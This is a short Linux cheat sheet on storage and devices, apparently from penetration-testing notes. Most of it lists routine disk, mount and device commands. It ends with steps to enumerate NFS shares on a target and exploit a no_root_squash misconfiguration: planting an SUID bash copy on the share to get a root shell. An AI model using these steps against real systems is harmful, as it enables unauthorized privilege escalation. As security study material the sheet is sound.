Storage & Devices

# List block devices
lsblk
fdisk -l

# Disk usage
df -h         # filesystem disk usage
du -sh *      # directory sizes

# Partition info
cat /proc/partitions
blkid         # device UUIDs and filesystem types

# View current mounts
mount
cat /etc/fstab    # persistent mounts

# Mount a device
mount /dev/sdb1 /mnt/usb

# Unmount
umount /mnt/usb

# Check writability
ls -la /etc/fstab

# Block devices (disks)
/dev/sda        # first disk
/dev/sda1       # first partition
/dev/nvme0n1    # NVMe disk

# Special devices
/dev/null       # discard output
/dev/zero       # stream of null bytes
/dev/random     # random data
/dev/mem        # physical memory (dangerous)
/dev/tty        # current terminal

# Enumerate NFS shares remotely
showmount -e target.com

# Mount a share
mount -t nfs target.com:/share /mnt/nfs

# no_root_squash misconfiguration
# If enabled, files created as root locally are treated as root on the server
# → Copy /bin/bash with SUID to the share
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On the target:
/mnt/nfs/bash -p